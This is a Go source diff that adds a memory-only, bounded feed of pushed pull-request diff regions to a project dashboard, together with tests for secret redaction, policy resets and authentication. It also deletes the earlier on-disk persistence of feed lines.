s.MatrixObserver(s.currentMatrixConfig()) + src, cfg := s.matrixActiveSource() + if src == nil || cfg == nil { + jsonError(w, "matrix mode disabled", http.StatusNotFound) + return + } + since, _ := strconv.ParseUint(r.URL.Query().Get("since"), 10, 64) + limit := matrixDefaultSinceMax + if r.URL.Query().Has("max") { + n, err := strconv.Atoi(r.URL.Query().Get("max")) + if err != nil || n < matrixMinSinceMax { + n = matrixMinSinceMax + } + limit = min(n, matrixMaxSinceMax) + } + resp := src.checkpoints.since(since, limit) + if last, next := src.ingestStatus(src.now()); !last.IsZero() { + resp.LastIngestAt = &last + resp.NextIngestInS = next + } + w.Header().Set("Content-Type", "application/json") + _ = json.NewEncoder(w).Encode(resp) +} diff --git a/src/pkg/dashboard/api_matrix.go b/src/pkg/dashboard/api_matrix.go index b87a39ec18..be10478ede 100644 --- a/src/pkg/dashboard/api_matrix.go +++ b/src/pkg/dashboard/api_matrix.go @@ -97,6 +97,11 @@ func (s *Server) handleMatrixLines(w http.ResponseWriter, r *http.Request) { return } + if r.URL.Query().Get("format") == "regions" { + s.handleCheckpointRegions(w, r) + return + } + src, cfg := s.matrixActiveSource() if src == nil || cfg == nil || !cfg.Active() { jsonError(w, "matrix mode disabled", http.StatusNotFound) diff --git a/src/pkg/dashboard/checkpoint_source.go b/src/pkg/dashboard/checkpoint_source.go new file mode 100644 index 0000000000..5fd0efa295 --- /dev/null +++ b/src/pkg/dashboard/checkpoint_source.go @@ -0,0 +1,315 @@ +package dashboard + +import ( + "crypto/rand" + "crypto/sha256" + "encoding/hex" + "fmt" + "regexp" + "slices" + "strconv" + "strings" + "sync" + "time" + "unicode" + "unicode/utf8" + + "github.com/hivecommons/hive/crux/logscrub" + "github.com/hivecommons/hive/pkg/config" + "github.com/hivecommons/hive/pkg/github" +) + +const ( + checkpointMaxLineRunes = 4096 + checkpointMaxRegionBytes = 16 << 10 + checkpointMaxBytes = 512 << 10 +) + +// Response contract shared by ingest and since(): the reader shows +// checkpointSourceLabel as the feed source and checkpointStage on every region. +const ( + checkpointSourceLabel = "Pushed PR" + checkpointStage = "pushed-checkpoint" +) + +type checkpointLine struct { + Op string `json:"op"` + Line string `json:"line"` +} + +type checkpointRegion struct { + Seq uint64 `json:"seq"` + Repo string `json:"repo"` + PR int `json:"pr"` + PRURL string `json:"pr_url"` + Head string `json:"head"` + Path string `json:"path"` + Stage string `json:"stage"` + At time.Time `json:"at"` + Lines []checkpointLine `json:"lines"` +} + +type checkpointHead struct { + at time.Time +} + +// checkpointSource is a memory-only projection of the existing sentinel +// observer. It never fetches patches, restores Matrix's persisted lines, logs +// content, or broadcasts code. A region is the indivisible unit everywhere. +type checkpointSource struct { + mu sync.Mutex + cfg config.MatrixConfig + epoch string + seq uint64 + regions []checkpointRegion + lines, bytes int + heads map[[sha256.Size]byte]checkpointHead + rateStart time.Time + rateCount int +} + +func newCheckpointSource(cfg config.MatrixConfig) *checkpointSource { + c := &checkpointSource{} + c.configure(cfg) + return c +} + +func (c *checkpointSource) configure(cfg config.MatrixConfig) { + c.mu.Lock() + defer c.mu.Unlock() + if c.epoch != "" && c.cfg.Enabled == cfg.Enabled && slices.Equal(c.cfg.Repos, cfg.Repos) && slices.Equal(c.cfg.ExcludePaths, cfg.ExcludePaths) { + return + } + cfg.Repos = append([]string(nil), cfg.Repos...) + cfg.ExcludePaths = append([]string(nil), cfg.ExcludePaths...) + c.cfg = cfg + var nonce [16]byte + _, _ = rand.Read(nonce[:]) // crypto/rand.Read cannot fail on supported Go versions. + c.epoch = hex.EncodeToString(nonce[:]) + c.regions = nil + c.lines, c.bytes, c.rateCount = 0, 0, 0 + c.rateStart = time.Time{} + c.heads = make(map[[sha256.Size]byte]checkpointHead) +} + +func (c *checkpointSource) policyEpoch() string { + c.mu.Lock() + defer c.mu.Unlock() + return c.epoch +} + +func (c *checkpointSource) ingest(obs github.SentinelPatchObservation, epoch string, now time.Time) int { + c.mu.Lock() + defer c.mu.Unlock() + if epoch != c.epoch || !c.cfg.Active() || !c.cfg.RepoAllowed(obs.Repo) || obs.Private || !obs.HiveIdentified || obs.Number <= 0 || obs.HeadSHA == "" { + return 0 + } + // The sentinel proves public visibility (unknown is Private=true). Only its + // actual PR/head observations enter; observing the same head cannot replay it. + key := sha256.Sum256([]byte(strings.ToLower(obs.Repo) + "\x00" + strconv.Itoa(obs.Number) + "\x00" + obs.HeadSHA)) + for k, head := range c.heads { + if now.Sub(head.at) >= matrixDedupTTL { + delete(c.heads, k) + } + } + if _, seen := c.heads[key]; seen { + return 0 + } + if len(c.heads) >= matrixMaxTrackedPRs { + var oldest [sha256.Size]byte + var at time.Time + for k, head := range c.heads { + if at.IsZero() || head.at.Before(at) { + oldest, at = k, head.at + } + } + delete(c.heads, oldest) + } + c.heads[key] = checkpointHead{at: now} + if now.Sub(c.rateStart) >= matrixRateWindow || now.Before(c.rateStart) { + c.rateStart, c.rateCount = now, 0 + } + at := obs.At + if at.IsZero() { + at = now + } + count := 0 + for i, file := range obs.Files { + if i >= matrixMaxFilesPerObs { + break + } + if matrixPathDenied(file.Path, c.cfg.ExcludePaths) || len(file.Patch) > matrixMaxPatchBytes { + continue + } + for _, lines := range checkpointRegions(file.Patch) { + size := 0 + safe := len(lines) <= matrixMaxLinesPerHead + for _, line := range lines { + size += len(line.Line) + safe = safe && checkpointSafeLine(line.Line) + } + if !safe || size > checkpointMaxRegionBytes { + continue + } + if count+len(lines) > matrixMaxLinesPerHead || c.rateCount+len(lines) > matrixMaxLinesPerRate { + continue + } + c.seq++ + region := checkpointRegion{Seq: c.seq, Repo: obs.Repo, PR: obs.Number, PRURL: fmt.Sprintf("https://github.com/%s/pull/%d", obs.Repo, obs.Number), Head: obs.HeadSHA, Path: file.Path, Stage: checkpointStage, At: at, Lines: lines} + for len(c.regions) > 0 && (c.lines+len(lines) > matrixBacklogCap || c.bytes+size > checkpointMaxBytes) { + old := c.regions[0] + c.lines -= len(old.Lines) + for _, l := range old.Lines { + c.bytes -= len(l.Line) + } + c.regions[0] = checkpointRegion{} + c.regions = c.regions[1:] + } + c.regions = append(c.regions, region) + c.lines += len(lines) + c.bytes += size + count += len(lines) + c.rateCount += len(lines) + } + } + return count +} + +func checkpointSafeLine(line string) bool { + if !utf8.ValidString(line) || utf8.RuneCountInString(line) > checkpointMaxLineRunes { + return false + } + for _, r := range line { + if unicode.IsControl(r) && r != '\t' { + return false + } + } + return !matrixHasEntropyRun(line) && !matrixKeyValueSecret.MatchString(line) && + !strings.Contains(line, "-----BEGIN ") && !strings.Contains(line, "-----END ") && + !logscrub.ContainsRedactionMarker(line) && logscrub.ScrubString(line) == line && logscrub.RedactPaneTokens(line) == line +} + +var checkpointHunk = regexp.MustCompile(`^@@ -[0-9]+(?:,([0-9]+))? \+[0-9]+(?:,([0-9]+))? @@(?:.*)$`) + +// Validate hunk counts before admitting any changed runs. Incomplete or +// malformed patches fail closed, so a truncated hunk never looks complete. +func checkpointRegions(patch string) [][]checkpointLine { + if patch == "" || strings.ContainsRune(patch, 0) { + return nil + } + rows := strings.Split(patch, "\n") + if rows[len(rows)-1] == "" { + rows = rows[:len(rows)-1] + } + var out [][]checkpointLine + var run []checkpointLine + oldLeft, newLeft := 0, 0 + inHunk := false + flush := func() { + if len(run) > 0 { + out = append(out, run) + run = nil + } + } + for _, row := range rows { + if strings.HasPrefix(row, "@@") { + if inHunk && (oldLeft != 0 || newLeft != 0) { + return nil + } + flush() + match := checkpointHunk.FindStringSubmatch(row) + if match == nil { + return nil + } + oldLeft, newLeft = 1, 1 + if match[1] != "" { + n, e := strconv.Atoi(match[1]) + if e != nil { + return nil + } + oldLeft = n + } + if match[2] != "" { + n, e := strconv.Atoi(match[2]) + if e != nil { + return nil + } + newLeft = n + } + inHunk = true + continue + } + if !inHunk { + continue + } + if row == `\ No newline at end of file` { + continue + } + if row == "" { + return nil + } + switch row[0] { + case '+': + newLeft-- + run = append(run, checkpointLine{Op: "+", Line: strings.Clone(row[1:])}) + case '-': + oldLeft-- + run = append(run, checkpointLine{Op: "-", Line: strings.Clone(row[1:])}) + case ' ': + oldLeft-- + newLeft-- + flush() + default: + return nil + } + if oldLeft < 0 || newLeft < 0 { + return nil + } + } + if !inHunk || oldLeft != 0 || newLeft != 0 { + return nil + } + flush() + return out +} + +type checkpointResponse struct { + Seq uint64 `json:"seq"` + Latest uint64 `json:"latest"` + Epoch string `json:"epoch"` + Source string `json:"source"` + Stage string `json:"stage"` + Regions []checkpointRegion `json:"regions"` + LastIngestAt *time.Time `json:"last_ingest_at"` + NextIngestInS int `json:"next_ingest_in_s"` +} + +// max counts changed lines, but the first eligible region is always returned +// whole even when larger than max. seq advances only through consumed regions. +func (c *checkpointSource) since(seq uint64, limit int) checkpointResponse { + c.mu.Lock() + defer c.mu.Unlock() + if limit <= 0 { + limit = matrixDefaultSinceMax + } + if seq > c.seq { + seq = 0 + } + out := checkpointResponse{Seq: seq, Latest: c.seq, Epoch: c.epoch, Source: checkpointSourceLabel, Stage: checkpointStage, Regions: []checkpointRegion{}} + count := 0 + for _, r := range c.regions { + if r.Seq <= seq { + continue + } + if count > 0 && count+len(r.Lines) > limit { + break + } + out.Regions = append(out.Regions, r) + count += len(r.Lines) + out.Seq = r.Seq + } + if len(out.Regions) == 0 { + out.Seq = c.seq + } + return out +} diff --git a/src/pkg/dashboard/checkpoint_source_test.go b/src/pkg/dashboard/checkpoint_source_test.go new file mode 100644 index 0000000000..b2d77090d5 --- /dev/null +++ b/src/pkg/dashboard/checkpoint_source_test.go @@ -0,0 +1,366 @@ +package dashboard + +import ( + "encoding/json" + "fmt" + "io" + "log/slog" + "net/http" + "net/http/httptest" + "os" + "path/filepath" + "reflect" + "strings" + "testing" + "time" + + "github.com/hivecommons/hive/pkg/config" + "github.com/hivecommons/hive/pkg/github" + "github.com/hivecommons/hive/pkg/sentinel" +) + +func checkpointPatch(lines ...string) string { + return fmt.Sprintf("@@ -0,0 +1,%d @@\n+%s\n", len(lines), strings.Join(lines, "\n+")) +} + +func TestCheckpointWholeRegionsAndContinuation(t *testing.T) { + c := newCheckpointSource(matrixTestConfig()) + patch := "@@ -1,4 +1,7 @@\n-old\n+\tnew\n+\n+repeat\n+repeat\n context\n-again\n+again\n tail\n" + obs := matrixObs(3, "real-head", sentinel.File{Path: "a.go", Patch: patch}) + now := time.Now() + if n := c.ingest(obs, c.policyEpoch(), now); n != 7 { + t.Fatalf("admitted %d changed lines", n) + } + first := c.since(0, 1) + if len(first.Regions) != 1 || len(first.Regions[0].Lines) != 5 || first.Seq != 1 || first.Latest != 2 { + t.Fatalf("first page: %+v", first) + } + want := []checkpointLine{{"-", "old"}, {"+", "\tnew"}, {"+", ""}, {"+", "repeat"}, {"+", "repeat"}} + r := first.Regions[0] + if !reflect.DeepEqual(r.Lines, want) || r.Head != "real-head" || r.PRURL != "https://github.com/"+matrixTestRepo+"/pull/3" || r.Stage != checkpointStage || !r.At.Equal(now) { + t.Fatalf("region %+v", r) + } + next := c.since(first.Seq, 1) + if len(next.Regions) != 1 || len(next.Regions[0].Lines) != 2 || next.Seq != 2 || next.Latest != 2 { + t.Fatalf("next page %+v", next) + } + if n := c.ingest(obs, c.policyEpoch(), now); n != 0 { + t.Fatal("unchanged head replayed") + } + obs.HeadSHA = "next-head" + if n := c.ingest(obs, c.policyEpoch(), now); n != 7 { + t.Fatal("new actual head was suppressed") + } +} + +func TestCheckpointDropsUnsafeWholeRegions(t *testing.T) { + bad := []string{"password: hunter2", "token = \"short\"", "-----BEGIN PRIVATE KEY-----", "[REDACTED]", strings.Repeat("a", 33), "bad\x01text", string([]byte{0xff}), strings.Repeat("a ", checkpointMaxLineRunes)} + for _, op := range []string{"+", "-"} { + for i, line := range bad { + t.Run(fmt.Sprintf("%s/%d", op, i), func(t *testing.T) { + c := newCheckpointSource(matrixTestConfig()) + // The secret and innocent line form one region. A separate safe region + // after context survives; no apparently complete fragment of the first does. + oldN, newN := 1, 3 + if op == "-" { + oldN, newN = 3, 1 + } + patch := fmt.Sprintf("@@ -1,%d +1,%d @@\n%ssafe peer\n%s%s\n context\n@@ -10,0 +10 @@\n+visible\n", oldN, newN, op, op, line) + obs := matrixObs(1, "h", sentinel.File{Path: "a.go", Patch: patch}) + c.ingest(obs, c.policyEpoch(), time.Now()) + got := c.since(0, 200) + if len(got.Regions) != 1 || !reflect.DeepEqual(got.Regions[0].Lines, []checkpointLine{{"+", "visible"}}) { + t.Fatalf("unsafe region leaked: %+v", got.Regions) + } + }) + } + } +} + +func TestCheckpointRejectsIncompleteDiff(t *testing.T) { + for _, patch := range []string{"+orphan", "@@ -0,0 +1,2 @@\n+only one\n", "@@ -1 +1 @@\n-old\n", "@@ malformed\n+x\n", "@@ -0,0 +1 @@\n+x\n+y\n", "@@ -0,0 +1 @@\n+x\n@@ -0,0 +2,2 @@\n+truncated\n", "@@ -0,0 +1 @@\n+binary\x00\n"} { + if r := checkpointRegions(patch); len(r) != 0 { + t.Fatalf("incomplete patch admitted: %+v", r) + } + } + r := checkpointRegions("@@ -1 +1 @@\n--- literal\n+++ literal\n\\ No newline at end of file\n") + if len(r) != 1 || len(r[0]) != 2 || r[0][1].Line != "++ literal" { + t.Fatalf("literal diff signs lost: %+v", r) + } +} + +func TestCheckpointObservationAndPolicyBoundaries(t *testing.T) { + for _, kind := range []string{"private-or-unknown", "unidentified", "unlisted", "no-head", "no-pr", "excluded", "secret-path"} { + t.Run(kind, func(t *testing.T) { + cfg := matrixTestConfig() + cfg.ExcludePaths = []string{"skip/**"} + c := newCheckpointSource(cfg) + obs := matrixObs(1, "h", sentinel.File{Path: "a.go", Patch: checkpointPatch("safe")}) + switch kind { + case "private-or-unknown": + obs.Private = true + case "unidentified": + obs.HiveIdentified = false + case "unlisted": + obs.Repo = "other/repo" + case "no-head": + obs.HeadSHA = "" + case "no-pr": + obs.Number = 0 + case "excluded": + obs.Files[0].Path = "skip/a.go" + case "secret-path": + obs.Files[0].Path = ".env" + } + if c.ingest(obs, c.policyEpoch(), time.Now()) != 0 || len(c.since(0, 200).Regions) != 0 { + t.Fatal("boundary admitted content") + } + }) + } + c := newCheckpointSource(matrixTestConfig()) + epoch := c.policyEpoch() + obs := matrixObs(1, "h", sentinel.File{Path: "a.go", Patch: checkpointPatch("safe")}) + c.ingest(obs, epoch, time.Now()) + cfg := matrixTestConfig() + cfg.ExcludePaths = []string{"elsewhere/**"} + c.configure(cfg) + if c.policyEpoch() == epoch || len(c.since(0, 200).Regions) != 0 || c.since(0, 200).Seq != c.since(0, 200).Latest { + t.Fatal("policy change retained code or epoch") + } + if c.ingest(obs, epoch, time.Now()) != 0 { + t.Fatal("old queued observation crossed policy epoch") + } + epoch = c.policyEpoch() + c.configure(cfg) + if c.policyEpoch() != epoch { + t.Fatal("unchanged policy reset epoch") + } + c.ingest(obs, epoch, time.Now()) + cfg.Enabled = false + c.configure(cfg) + if len(c.since(0, 200).Regions) != 0 || c.ingest(obs, c.policyEpoch(), time.Now()) != 0 { + t.Fatal("disable retained or admitted code") + } +} + +func TestCheckpointPolicyClearsSharedQueue(t *testing.T) { + m := newMatrixSource(matrixTestConfig(), nil) + m.Observe(matrixObs(1, "h", sentinel.File{Path: "a.go", Patch: checkpointPatch("queued code")})) + if len(m.in) != 1 { + t.Fatal("observation did not enter queue") + } + cfg := matrixTestConfig() + cfg.Enabled = false + m.setConfig(cfg) + if len(m.in) != 0 { + t.Fatal("policy change retained queued code") + } + m.policyMu.Lock() + done := make(chan struct{}) + go func() { m.Observe(matrixObs(2, "h")); close(done) }() + select { + case <-done: + case <-time.After(time.Second): + m.policyMu.Unlock() + t.Fatal("observer blocked on policy update") + } + m.policyMu.Unlock() + +} + +func TestCheckpointConcurrentObserversNotDropped(t *testing.T) { + m := newMatrixSource(matrixTestConfig(), nil) + // Another observer in flight holds the shared side of the policy lock. + m.policyMu.RLock() + defer m.policyMu.RUnlock() + done := make(chan struct{}) + go func() { + m.Observe(matrixObs(1, "h", sentinel.File{Path: "a.go", Patch: checkpointPatch("concurrent code")})) + close(done) + }() + select { + case <-done: + case <-time.After(time.Second): + t.Fatal("observer blocked on a concurrent observer") + } + if got := m.Dropped(); got != 0 { + t.Fatalf("Dropped() = %d, want 0: concurrent observer discarded", got) + } + if len(m.in) != 1 { + t.Fatal("concurrent observation did not enter queue") + } +} + +func TestCheckpointUnchangedPolicyDoesNotBlockObservers(t *testing.T) { + m := newMatrixSource(matrixTestConfig(), nil) + epoch := m.checkpoints.policyEpoch() + // An observer in flight holds the shared side of the policy lock; the + // reader poll re-applying the same policy must not wait for or evict it. + m.policyMu.RLock() + defer m.policyMu.RUnlock() + done := make(chan struct{}) + go func() { m.setConfig(matrixTestConfig()); close(done) }() + select { + case <-done: + case <-time.After(time.Second): + t.Fatal("unchanged policy refresh took the exclusive policy lock") + } + if m.checkpoints.policyEpoch() != epoch { + t.Fatal("unchanged policy refresh rotated the epoch") + } + m.Observe(matrixObs(1, "h", sentinel.File{Path: "a.go", Patch: checkpointPatch("polled code")})) + if got := m.Dropped(); got != 0 { + t.Fatalf("Dropped() = %d, want 0: observer dropped during an unchanged policy refresh", got) + } + if len(m.in) != 1 { + t.Fatal("observation did not enter queue") + } +} + +func TestCheckpointWholeBounds(t *testing.T) { + c := newCheckpointSource(matrixTestConfig()) + now := time.Now() + obs := matrixObs(1, "h", sentinel.File{Path: "a.go", Patch: checkpointPatch(append(matrixUniqueLines("safe", 199), "last", "over")...)}) + if c.ingest(obs, c.policyEpoch(), now) != 0 { + t.Fatal("per-head bound sliced oversized region") + } + for pr := 2; pr < 25; pr++ { + obs = matrixObs(pr, "h", sentinel.File{Path: "a.go", Patch: checkpointPatch(matrixUniqueLines("safe", 99)...)}) + c.ingest(obs, c.policyEpoch(), now.Add(time.Duration(pr)*time.Minute)) + } + got := c.since(0, 10000) + if c.lines > matrixBacklogCap || c.bytes > checkpointMaxBytes || len(got.Regions) != matrixBacklogCap/99 { + t.Fatalf("buffer bounds lines=%d bytes=%d regions=%d", c.lines, c.bytes, len(got.Regions)) + } + for _, r := range got.Regions { + if len(r.Lines) != 99 { + t.Fatal("eviction sliced region") + } + } + // Byte bound is independent of line count, and cloned text keeps retained + // strings from pinning the much larger original patch backing storage. + c = newCheckpointSource(matrixTestConfig()) + text := strings.Repeat("safe text ", 300) + for pr := 1; pr <= 40; pr++ { + c.ingest(matrixObs(pr, "h", sentinel.File{Path: "a.go", Patch: checkpointPatch(text, text, text, text, text)}), c.policyEpoch(), now.Add(time.Duration(pr)*time.Minute)) + } + if c.bytes > checkpointMaxBytes || len(c.regions) >= 40 { + t.Fatal("text byte bound not enforced") + } + c = newCheckpointSource(matrixTestConfig()) + for pr := 1; pr <= 4; pr++ { + n := c.ingest(matrixObs(pr, "h", sentinel.File{Path: "a.go", Patch: checkpointPatch(matrixUniqueLines("safe", 199)...)}), c.policyEpoch(), now) + if (pr <= 3 && n != 199) || (pr == 4 && n != 0) { + t.Fatalf("rate bound split region: pr=%d n=%d", pr, n) + } + } +} + +func TestCheckpointAPIAuthColdAndEpoch(t *testing.T) { + s := NewServerWithAuth(0, "checkpoint-test-token", slog.New(slog.NewTextHandler(io.Discard, nil))) + s.mux.HandleFunc("GET /api/matrix/lines", s.handleMatrixLines) + // Active configuration exists before the sentinel has created its observer. + cfg := matrixTestConfig() + s.deps = &Dependencies{Config: &config.Config{}} + s.deps.Config.Dashboard.Matrix = cfg + defer func() { + if s.matrix != nil { + s.matrix.close() + <-s.matrix.done + } + }() + request := func(auth, role string) *httptest.ResponseRecorder { + req := httptest.NewRequest(http.MethodGet, "/api/matrix/lines?since=0&format=regions&max=1", nil) + req.Header.Set("Authorization", auth) + req.Header.Set("X-Hive-Role", role) + rr := httptest.NewRecorder() + s.Handler().ServeHTTP(rr, req) + if rr.Header().Get("Cache-Control") != "no-store" { + t.Fatal("cacheable response") + } + return rr + } + for _, role := range []string{"", config.RoleOwner} { + if rr := request("", role); rr.Code != 401 { + t.Fatalf("anonymous/forged role got %d", rr.Code) + } + } + rr := request("Bearer checkpoint-test-token", "") + var cold checkpointResponse + if rr.Code != 200 || json.Unmarshal(rr.Body.Bytes(), &cold) != nil || cold.Epoch == "" || cold.LastIngestAt != nil || len(cold.Regions) != 0 || cold.Source != checkpointSourceLabel || cold.Stage != checkpointStage { + t.Fatalf("cold response %d %s", rr.Code, rr.Body.String()) + } + // Feed the real observer queue, including a deletion-only checkpoint. + // Wait for the nudge frame rather than the ingest: the observer goroutine + // reads the matrix config while broadcasting, so the policy edits below + // must not start until that frame has been delivered. + frames := make(chan []byte, 8) + s.sseMu.Lock() + s.sseClients[frames] = struct{}{} + s.sseMu.Unlock() + s.MatrixObserver(cfg)(matrixObs(1, "real-head", sentinel.File{Path: "a.go", Patch: "@@ -1,2 +0,0 @@\n-old\n-old\n"})) + select { + case frame := <-frames: + if string(frame) != matrixCodeLinesSSEFrame(0) { + t.Fatalf("unexpected frame %q", frame) + } + case <-time.After(2 * time.Second): + t.Fatal("observer did not feed checkpoint source") + } + s.sseMu.Lock() + delete(s.sseClients, frames) + s.sseMu.Unlock() + if len(s.matrix.checkpoints.since(0, 1).Regions) == 0 { + t.Fatal("checkpoint source empty after nudge") + } + s.RecordMatrixIngest(time.Now().UTC(), time.Minute) + rr = request("Bearer checkpoint-test-token", "") + var page checkpointResponse + if json.Unmarshal(rr.Body.Bytes(), &page) != nil || len(page.Regions) != 1 || len(page.Regions[0].Lines) != 2 || page.Seq != page.Latest || page.LastIngestAt == nil { + t.Fatalf("whole response %s", rr.Body.String()) + } + cfg.ExcludePaths = []string{"a.go"} + s.deps.Config.Dashboard.Matrix = cfg + rr = request("Bearer checkpoint-test-token", "") + var changed checkpointResponse + if json.Unmarshal(rr.Body.Bytes(), &changed) != nil || changed.Epoch == cold.Epoch || len(changed.Regions) != 0 { + t.Fatalf("policy change %s", rr.Body.String()) + } + s.deps.Config.Dashboard.Matrix.Enabled = false + if rr := request("Bearer checkpoint-test-token", ""); rr.Code != 404 { + t.Fatalf("disabled=%d", rr.Code) + } +} + +// The legacy persistence format cannot retain or restore checkpoint regions. +func TestCheckpointMemoryOnly(t *testing.T) { + m := newMatrixSource(matrixTestConfig(), nil) + obs := matrixObs(1, "h", sentinel.File{Path: "a.go", Patch: checkpointPatch("safe")}) + m.checkpoints.ingest(obs, m.checkpoints.policyEpoch(), time.Now()) + restored := newMatrixSource(matrixTestConfig(), nil) + if len(restored.checkpoints.since(0, 200).Regions) != 0 || restored.checkpoints.policyEpoch() == m.checkpoints.policyEpoch() { + t.Fatal("new source restored checkpoint history") + } + // The superseded persistent line history must never re-enter the feed and + // is left untouched for the operator to remove, rather than silently + // deleted or rewritten as part of a dashboard upgrade. + path := filepath.Join(t.TempDir(), "matrix-lines.json") + seed := []byte(`{"seq":7,"lines":[{"seq":7,"repo":"org/repo","pr":1,"line":"old retained code"}]}`) + if err := os.WriteFile(path, seed, 0600); err != nil { + t.Fatal(err) + } + s := &Server{} + observe := s.MatrixObserver(matrixTestConfig()) + defer func() { s.matrix.close(); <-s.matrix.done }() + if s.matrix.Latest() != 0 || len(s.matrix.checkpoints.since(0, 200).Regions) != 0 { + t.Fatal("legacy persistent code restored") + } + observe(matrixObs(1, "h", sentinel.File{Path: "a.go", Patch: checkpointPatch("fresh checkpoint")})) + waitFor(t, func() bool { return s.matrix.Latest() != 0 }, "observer ingest") + if got, err := os.ReadFile(path); err != nil || string(got) != string(seed) { + t.Fatal("legacy history file changed") + } + // Compile-time assertion: the public observer still receives the existing + // authoritative transport, with no extra patch collector or endpoint. + var _ func(github.SentinelPatchObservation) = m.Observe +} diff --git a/src/pkg/dashboard/matrix_persist_test.go b/src/pkg/dashboard/matrix_persist_test.go deleted file mode 100644 index fdb4314efc..0000000000 --- a/src/pkg/dashboard/matrix_persist_test.go +++ /dev/null @@ -1,149 +0,0 @@ -package dashboard - -import ( - "encoding/json" - "os" - "path/filepath" - "strconv" - "testing" - "time" - - "github.com/hivecommons/hive/pkg/config" - "github.com/hivecommons/hive/pkg/sentinel" -) - -// The backlog survives a restart (#16276): a new source on the same path -// serves the persisted lines, continues the sequence counter so a kiosk -// never sees seq go backwards, and treats a re-observed head as already -// seen. -func TestMatrixSourcePersistRestore(t *testing.T) { - path := filepath.Join(t.TempDir(), "matrix-lines.json") - m, clk := newTestMatrixSource(t, matrixTestConfig()) - m.persistPath = path - m.restore() // no file yet is the normal first boot - if m.Latest() != 0 || len(m.ring) != 0 { - t.Fatalf("missing file restored seq=%d lines=%d", m.Latest(), len(m.ring)) - } - file := sentinel.File{Path: "a.go", Patch: matrixPatch("one", "two")} - if got := m.ingest(matrixObs(1, "h1", file)); got != 2 { - t.Fatalf("ingest = %d, want 2", got) - } - m.persist() - raw, err := os.ReadFile(path) - if err != nil { - t.Fatalf("persisted file: %v", err) - } - var f matrixPersistFile - if err := json.Unmarshal(raw, &f); err != nil || f.Seq != 2 || len(f.Lines) != 2 || f.Lines[1].Line != "two" { - t.Fatalf("persisted %+v err=%v", f, err) - } - - restored, _ := newTestMatrixSource(t, matrixTestConfig()) - restored.now = clk.now - restored.persistPath = path - restored.restore() - lines, latest := restored.Since(0, 10) - if latest != 2 || len(lines) != 2 || lines[0].Line != "one" || lines[1].Seq != 2 { - t.Fatalf("restored latest=%d lines=%+v", latest, lines) - } - if got := restored.ingest(matrixObs(1, "h1", file)); got != 0 { - t.Fatalf("re-observed head after restart added %d lines", got) - } - if got := restored.ingest(matrixObs(2, "h", sentinel.File{Path: "b.go", Patch: matrixPatch("three")})); got != 1 { - t.Fatalf("new PR after restart added %d", got) - } - if restored.Latest() != 3 { - t.Fatalf("sequence did not continue: latest=%d", restored.Latest()) - } - - // A source with no path never touches disk. - plain, _ := newTestMatrixSource(t, matrixTestConfig()) - plain.ingest(matrixObs(1, "h1", file)) - plain.persist() - if entries, _ := os.ReadDir(filepath.Dir(path)); len(entries) != 1 { - t.Fatalf("unexpected files: %v", entries) - } -} - -func TestMatrixSourcePersistCapsAndTolerates(t *testing.T) { - dir := t.TempDir() - path := filepath.Join(dir, "matrix-lines.json") - m, _ := newTestMatrixSource(t, matrixTestConfig()) - m.persistPath = path - // More distinct lines than the persist cap, spread over PRs so the - // per-head cap does not bite. - total := matrixPersistLines + 50 - for pr := 0; pr*100 < total; pr++ { - var ls []string - for i := 0; i < 100 && pr*100+i < total; i++ { - ls = append(ls, "line"+strconv.Itoa(pr*100+i)) - } - m.ingest(matrixObs(pr+1, "h", sentinel.File{Path: "a.go", Patch: matrixPatch(ls...)})) - } - if m.Latest() != uint64(total) { - t.Fatalf("latest=%d want %d", m.Latest(), total) - } - m.persist() - restored, _ := newTestMatrixSource(t, matrixTestConfig()) - restored.persistPath = path - restored.restore() - lines, latest := restored.Since(0, matrixBacklogCap) - if latest != uint64(total) || len(lines) != matrixPersistLines || lines[0].Seq != uint64(total-matrixPersistLines+1) { - t.Fatalf("restored latest=%d n=%d first=%d", latest, len(lines), lines[0].Seq) - } - - // Disabling the matrix empties the file too, so a later re-enable does - // not resurrect lines captured under the old config. - m.setConfig(config.MatrixConfig{}) - m.reset() - empty, _ := newTestMatrixSource(t, matrixTestConfig()) - empty.persistPath = path - empty.restore() - if n := len(empty.ring); n != 0 || empty.Latest() != uint64(total) { - t.Fatalf("after reset restored %d lines, seq %d", n, empty.Latest()) - } - - // Garbage on disk is logged and ignored, never fatal. - if err := os.WriteFile(path, []byte("{not json"), 0o644); err != nil { - t.Fatal(err) - } - bad, _ := newTestMatrixSource(t, matrixTestConfig()) - bad.persistPath = path - bad.restore() - if bad.Latest() != 0 || len(bad.ring) != 0 { - t.Fatalf("malformed file restored seq=%d lines=%d", bad.Latest(), len(bad.ring)) - } -} - -// Server.SetMatrixPersistPath hands the path to the source MatrixObserver -// builds, and a source built first still picks the backlog up when it has -// nothing of its own. -func TestServerSetMatrixPersistPath(t *testing.T) { - path := filepath.Join(t.TempDir(), "matrix-lines.json") - seed := matrixPersistFile{Seq: 7, Lines: []matrixLine{{Seq: 7, Repo: matrixTestRepo, PR: 1, Head: "h", Path: "a.go", Line: "kept", At: time.Now().UTC()}}} - raw, _ := json.Marshal(seed) - if err := os.WriteFile(path, raw, 0o644); err != nil { - t.Fatal(err) - } - s := &Server{} - s.SetMatrixPersistPath(path) - if s.MatrixObserver(matrixTestConfig()) == nil { - t.Fatal("no observer") - } - t.Cleanup(s.matrix.close) - if lines, latest := s.matrix.Since(0, 10); latest != 7 || len(lines) != 1 || lines[0].Line != "kept" { - t.Fatalf("observer-built source: latest=%d lines=%+v", latest, lines) - } - - late := &Server{} - if late.MatrixObserver(matrixTestConfig()) == nil { - t.Fatal("no observer") - } - t.Cleanup(late.matrix.close) - late.SetMatrixPersistPath(path) - if latest := late.matrix.Latest(); latest != 7 { - t.Fatalf("late path on an empty source: latest=%d, want 7", latest) - } - var nilSrv *Server - nilSrv.SetMatrixPersistPath(path) -} diff --git a/src/pkg/dashboard/matrix_source.go b/src/pkg/dashboard/matrix_source.go index 6174bd5e40..2a891a285c 100644 --- a/src/pkg/dashboard/matrix_source.go +++ b/src/pkg/dashboard/matrix_source.go @@ -2,11 +2,8 @@ package dashboard import ( "crypto/sha256" - "encoding/json" - "errors" - "fmt" "log/slog" - "os" + "slices" "strconv" "sync" "sync/atomic" @@ -30,20 +27,8 @@ const ( matrixMaxFilesPerObs = 300 matrixMaxPatchBytes = 512 << 10 matrixDefaultSinceMax = 200 - // matrixPersistLines is how many of the newest lines survive a restart - // (#16276): enough to refill the kiosk's 120-line window with headroom, - // small enough that each write is a few tens of kilobytes. - matrixPersistLines = 500 ) -// matrixPersistFile is the on-disk shape of the backlog. Seq is the newest -// sequence number so the counter continues 